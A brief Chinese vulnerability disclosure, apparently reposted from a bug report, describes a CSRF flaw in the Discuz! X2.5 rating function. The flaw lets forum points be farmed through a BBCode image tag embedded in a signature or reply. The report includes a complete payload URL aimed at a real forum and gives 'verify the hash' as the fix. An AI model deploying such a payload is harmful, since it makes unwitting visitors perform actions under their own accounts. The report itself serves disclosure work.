DX2.5某处操作未验证HASH，可以CSRF快速刷分 - 网站

DX2.5某处操作未验证HASH，可以快速刷分！

详细说明：评分处未验证HASH，在个人签名或者回复内容中用插入图片功能插入评分链接，别人打开包含该图片的帖子就会自动给指定帖子加分了。

 

[img]http://dzs.gamebbs.qq.com/forum.php?mod=misc&action=rate&ratesubmit=yes&infloat=yes&inajax=1formhash=3a0d2122&tid=111664&pid=1819715&referer=http%3A%2F%2Fdzs.gamebbs.qq.com%2Fforum.php%3Fmod%3Dviewthread%26tid%3D111664%26page%3D0%23pid1819715&handlekey=rate&score2=5&reason=%E6%94%AF%E6%8C%81%E5%8E%BB%E6%8E%89TP%EF%BC%81&ratesubmit=true[/img]

http://dzs.gamebbs.qq.com/forum.php?mod=viewthread&tid=111664&page=1#pid1819715

 

 

 

修复方案： 验证HASH 

 

查看更多关于DX2.5某处操作未验证HASH，可以CSRF快速刷分 - 网站的详细内容...